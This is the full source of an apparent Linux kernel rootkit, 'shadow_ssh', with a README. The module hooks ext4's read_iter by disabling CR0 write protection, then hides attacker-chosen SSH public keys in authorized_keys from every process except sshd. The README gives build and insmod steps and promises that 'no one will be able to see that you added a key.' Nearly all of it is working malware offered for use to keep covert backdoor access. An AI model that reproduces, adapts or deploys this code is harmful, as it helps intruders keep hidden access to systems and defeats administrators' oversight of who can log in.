├── consts.h ├── filesystem_filter.h ├── ssh_keys_hiding.h ├── device_handlers.h ├── Makefile ├── .gitignore ├── device_handlers.c ├── main.c ├── ssh_keys_hiding.c ├── filesystem_filter.c └── README.md /consts.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define MINOR_VERSION 1 4 | 5 | #define DEVICE_NAME "shadow_ssh" 6 | 7 | enum RETURN_CODE{ 8 | SUCCESS, 9 | COPY_FROM_USER_FAILED, 10 | }; -------------------------------------------------------------------------------- /filesystem_filter.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | void initialize_filter(char* filesystem_file_operation_name); 6 | 7 | ssize_t file_read_iter(struct kiocb *iocb, struct iov_iter *to); -------------------------------------------------------------------------------- /ssh_keys_hiding.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct { 6 | char* key; 7 | size_t len; 8 | struct list_head list_node; 9 | } SshKey; 10 | 11 | extern struct list_head hidden_keys; 12 | 13 | int remove_hidden_keys(char* buffer, size_t len); 14 | 15 | int hide_key(const char __user* key, size_t len); -------------------------------------------------------------------------------- /device_handlers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | int device_open(struct inode *inode, struct file *file); 5 | 6 | int device_close(struct inode *inode, struct file *file); 7 | 8 | ssize_t device_read(struct file *filep, char *buffer, size_t len, loff_t *offset); 9 | 10 | ssize_t device_write(struct file *, const char *, size_t, loff_t *); -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | MODULENAME := shadow_ssh 2 | 3 | obj-m += $(MODULENAME).o 4 | 5 | $(MODULENAME)-y += main.o device_handlers.o filesystem_filter.o ssh_keys_hiding.o 6 | 7 | KERNELDIR ?= ~/workspace/buildroot-2020.02.4/output/build/linux-4.19.91 8 | 9 | PWD := $(shell pwd) 10 | 11 | all: debug 12 | 13 | release: 14 | $(MAKE) -C $(rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions debug) M=$(PWD) modules 15 | 16 | ccflags-y := -g -Og -O0 17 | debug: 18 | $(MAKE) -C $(KERNELDIR) M=$(PWD) modules 19 | 20 | clean: 21 | rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions debug -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | 54 | # Kernel Development settings 55 | /.vscode 56 | *.sh -------------------------------------------------------------------------------- /device_handlers.c: -------------------------------------------------------------------------------- 1 | #include "device_handlers.h" 2 | 3 | #include 4 | #include 5 | 6 | #include "consts.h" 7 | #include "ssh_keys_hiding.h" 8 | 9 | int device_open(struct inode *inode, struct file *file) { 10 | return SUCCESS; 11 | } 12 | 13 | int device_close(struct inode *inode, struct file *file) { 14 | return SUCCESS; 15 | } 16 | 17 | ssize_t device_read(struct file *filep, char *buffer, size_t len, loff_t *offset) { 18 | SshKey* ssh_key; 19 | SshKey* temp_ssh_key; 20 | if (0 != *offset) { 21 | return 0; 22 | } 23 | list_for_each_entry_safe(ssh_key, temp_ssh_key, &hidden_keys, list_node) { 24 | copy_to_user(buffer + *offset, ssh_key->key, ssh_key->len); 25 | *offset += ssh_key->len; 26 | copy_to_user(buffer + *offset, "\n", 1); 27 | *offset += 1; 28 | } 29 | copy_to_user(buffer + *offset + 1, 0, 1); 30 | *offset += 1; 31 | return *offset; 32 | } 33 | 34 | ssize_t device_write(struct file * filep, const char * buffer, size_t len, loff_t * offset) { 35 | hide_key(buffer, len); 36 | *offset = len; 37 | return len; 38 | } -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "consts.h" 9 | #include "device_handlers.h" 10 | #include "filesystem_filter.h" 11 | 12 | MODULE_LICENSE("GPL"); 13 | MODULE_AUTHOR("Rhydon"); 14 | 15 | static int dev_major = 0; 16 | static struct cdev cdev; 17 | static struct class* shadow_ssh_class = NULL; 18 | 19 | static const struct file_operations fops = { 20 | .owner = THIS_MODULE, 21 | .open = device_open, 22 | .release = device_close, 23 | .read = device_read, 24 | .write = device_write, 25 | }; 26 | 27 | static int shadow_ssh_driver_init(void) { 28 | int err; 29 | dev_t dev; 30 | printk(KERN_INFO "hello...\n"); 31 | err = alloc_chrdev_region(&dev, 0, MINOR_VERSION, DEVICE_NAME); 32 | dev_major = MAJOR(dev); 33 | 34 | shadow_ssh_class = class_create(THIS_MODULE, DEVICE_NAME); 35 | 36 | cdev_init(&cdev, &fops); 37 | cdev_add(&cdev, MKDEV(dev_major, MINOR_VERSION), 1); 38 | device_create(shadow_ssh_class, NULL, MKDEV(dev_major, MINOR_VERSION), NULL, DEVICE_NAME); 39 | 40 | initialize_filter("ext4_file_operations"); 41 | return 0; 42 | } 43 | 44 | static void shadow_ssh_driver_exit(void) { 45 | printk(KERN_WARNING "bye ...\n"); 46 | } 47 | 48 | module_init(shadow_ssh_driver_init); 49 | module_exit(shadow_ssh_driver_exit); -------------------------------------------------------------------------------- /ssh_keys_hiding.c: -------------------------------------------------------------------------------- 1 | #include "ssh_keys_hiding.h" 2 | 3 | #include 4 | #include 5 | 6 | #include "consts.h" 7 | 8 | LIST_HEAD(hidden_keys); 9 | 10 | int remove_hidden_keys(char* buffer, size_t len) { 11 | SshKey* ssh_key; 12 | SshKey* temp_ssh_key; 13 | char* start_of_the_key; 14 | char* keys_without_the_hidden; 15 | size_t i = 0; 16 | size_t j = 0; 17 | size_t full_length = len; 18 | list_for_each_entry_safe(ssh_key, temp_ssh_key, &hidden_keys, list_node) { 19 | start_of_the_key = strstr(buffer, ssh_key->key); 20 | if (NULL == start_of_the_key) { 21 | continue; 22 | } 23 | memset(start_of_the_key, 0, ssh_key->len); 24 | len -= ssh_key->len; 25 | } 26 | keys_without_the_hidden = kmalloc(len, GFP_KERNEL); 27 | memset(keys_without_the_hidden, 0, len); 28 | for (; i < full_length; ++i) { 29 | if (0 == buffer[i]) { 30 | continue; 31 | } 32 | keys_without_the_hidden[j] = buffer[i]; 33 | j++; 34 | } 35 | memcpy(buffer, keys_without_the_hidden, len); 36 | kfree(keys_without_the_hidden); 37 | return len; 38 | } 39 | 40 | int hide_key(const char __user* key, size_t len) { 41 | int ret_val; 42 | SshKey* ssh_key; 43 | char* key_copy = kmalloc(len, GFP_KERNEL); 44 | memset(key_copy, 0, len); 45 | ret_val = copy_from_user(key_copy, key, len); 46 | if (0 != ret_val) { 47 | kfree(key_copy); 48 | return COPY_FROM_USER_FAILED; 49 | } 50 | ssh_key = (SshKey*)kmalloc(sizeof(SshKey), GFP_KERNEL); 51 | ssh_key->key = key_copy; 52 | ssh_key->len = len; 53 | list_add_tail(&ssh_key->list_node, &hidden_keys); 54 | return SUCCESS; 55 | } -------------------------------------------------------------------------------- /filesystem_filter.c: -------------------------------------------------------------------------------- 1 | #include "filesystem_filter.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "ssh_keys_hiding.h" 11 | 12 | struct file_operations g_original_fops; 13 | 14 | void initialize_filter(char* filesystem_file_operation_name) { 15 | unsigned long prev_cr0 = read_cr0(); 16 | struct file_operations* original_filesystem_fops = (struct file_operations*)kallsyms_lookup_name(filesystem_file_operation_name); 17 | if (NULL == original_filesystem_fops) { 18 | printk("Unable to find the original filsystem fops\n"); 19 | return; 20 | } 21 | g_original_fops = *original_filesystem_fops; 22 | 23 | write_cr0(prev_cr0 & (~ 0x10000)); 24 | 25 | __sync_lock_test_and_set((unsigned long*)&original_filesystem_fops->read_iter, (unsigned long)file_read_iter); 26 | write_cr0(prev_cr0); 27 | __sync_synchronize(); 28 | } 29 | 30 | 31 | ssize_t file_read_iter(struct kiocb *iocb, struct iov_iter *to) { 32 | ssize_t size; 33 | char* path = NULL; 34 | char* buffer = kmalloc(PATH_MAX, GFP_KERNEL); 35 | if (NULL != buffer) { 36 | path = dentry_path_raw(iocb->ki_filp->f_path.dentry, buffer, PATH_MAX); 37 | if (!IS_ERR(path)) { 38 | if (NULL != strstr(path, "ssh/authorized_keys")) { 39 | filemap_flush(iocb->ki_filp->f_inode->i_mapping); 40 | truncate_inode_pages(iocb->ki_filp->f_inode->i_mapping, 0); 41 | size = g_original_fops.read_iter(iocb, to); 42 | if (NULL == strstr(current->comm, "ssh") && to->pipe->bufs->len != 0) { 43 | char* buf = kmap(to->pipe->bufs->page); 44 | size = (ssize_t)remove_hidden_keys(buf, to->pipe->bufs->len); 45 | kunmap(to->pipe->bufs->page); 46 | } 47 | } 48 | else { 49 | size = g_original_fops.read_iter(iocb, to); 50 | } 51 | } 52 | kfree(buffer); 53 | } 54 | return size; 55 | } 56 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # linux-kernel-shadow-ssh 2 | ## TL;DR 3 | Hiding SSH public keys in SSH server using a kernel agent. 4 | 5 | Depends on kallsyms which means it will work on most of the Linux distros except embedded systems which probably compiled without it. 6 | 7 | Tested on Linux kernel version: 4.19.91. 8 | 9 | ## How it works 10 | Installs a Linux kernel module file system driver that intercepts every call to read from file. 11 | 12 | The file system filter is based on this project: https://github.com/Rhydon1337/linux-kernel-filesystem-filter. 13 | 14 | The kernel module has a list of hidden keys that can be changed dynamically. 15 | 16 | Interception method flow: 17 | * Check if the path that the read call should read from contains ssh/authorized_keys 18 | * If it does, we check if the caller process is ssh 19 | * If it is ssh, we return the full content of the file 20 | * If it isn't ssh, we hide all the keys and return the content of the file without the hidden keys 21 | * If it doesn't, we just return the regular content of the wanted file 22 | 23 | ### Problems & Solutions 24 | We hook the read_iter file system function and the file system is using the Linux kernel **cache**. 25 | 26 | #### First problem 27 | When I overwrite the page that returns from the real file system read_iter it changes the cache directly and in the next time I will call the real file system read_iter it will return my previously written data and not what's written on the disk. 28 | 29 | Solution: before calling the real file system read_iter we will drop all the inode cached pages using truncate_inode_page. 30 | 31 | #### Second problem 32 | The second problem is caused from the first solution, what happen if we write the ssh/authorized_keys to disk and immediately do all of our stuff. 33 | It will cause all of the data to disappear because of the fact that the file system won't write it immediately to the disk it will cache it first and then in our call to truncate_inode_page we drop the data that was written and when we will call the real file system read_iter there is no data that will be returned. 34 | 35 | Solution: flush the inode to the disk using fliemap_flush and then truncate_inode_page. 36 | 37 | ## Limitations 38 | Currently, there is no support in the case that someone does cat -n 3 to the file it will cause kernel panic. 39 | 40 | ## Usage 41 | cd linux-kernel-shadow-ssh 42 | 43 | make 44 | 45 | insmod shadow_ssh.ko 46 | 47 | {ssh-copy-id} // copy your ssh public key to the authorized keys file 48 | 49 | cat hidden_key > /dev/shadow_ssh 50 | 51 | Now, you can ssh to the machine and no one will be able to see that you added a key. 52 | 53 | DONE!!! 54 | --------------------------------------------------------------------------------